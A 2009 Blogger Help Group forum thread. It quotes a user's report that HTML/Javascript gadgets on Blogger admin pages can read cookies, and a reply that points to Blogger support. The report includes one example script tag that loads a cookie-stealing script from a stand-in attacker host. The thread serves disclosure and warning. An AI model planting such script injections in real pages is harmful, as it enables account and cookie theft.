Account Options

  1. Sign in
The old Google Groups will be going away soon, but your browser is incompatible with the new version.
Google Groups Home
« Groups Home
Blogger Help Group
Home
About this group
Join this group
Message from discussion Gadgets can steal cookes on admin page
The group you are posting to is a Usenet group. Messages posted to this group will make your email address visible to anyone on the Internet.
Your reply message has not been sent.
Your post was successful
 
From:
To:
Cc:
Followup To:
Add Cc | Add Followup-to | Edit Subject
Subject:
Validation:
For verification purposes please type the characters you see in the picture below or the numbers you hear by clicking the accessibility icon. Listen and type the numbers you hear
 
Ron  
View profile  
 More options May 8 2009, 1:02 pm
From: Ron
Date: Fri, 8 May 2009 10:02:01 -0700 (PDT)
Local: Fri, May 8 2009 1:02 pm
Subject: Re: Gadgets can steal cookes on admin page
Print | View thread | Report this message | Find messages by this author
Report to Blogger Support.  Whether you will ever hear from them, I
don't pretend to know.

BLOGGER SUPPORT
http://help.blogger.com/?page=contact

On May 7, 7:12 pm, David Turner wrote:

> Blogger cookies are usually marked with HttpOnly, so that they can't
> be stolen by gadgets.  This is a good thing.  An exception seems to be
> in the admin interface.  If you go to Layout/Page Elements, and click
> "Add a Gadget" and "HTML/Javascript", and enter <script src="http://
> evil.example.com/stealcookies.js"></script>, that script will have
> access to document.cookie.

> I don't know if the cookies this can access are sufficient to do any
> harm, but this can't be a good thing.

> This is not a simple attack -- it would probably require creating a
> widget that had some other functionality, and then convincing people
> to install it.  But it's also possible that there are easier ways to
> bootstrap it than I have found.

> I wish there were a non-public place to report security issues, but I
> couldn't find it.

> In short: Only install widgets created by people you trust not to
> steal your blogger account.


 
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.
Create a group - Google Groups - Google Home - Terms of Service - Privacy Policy
©2012 Google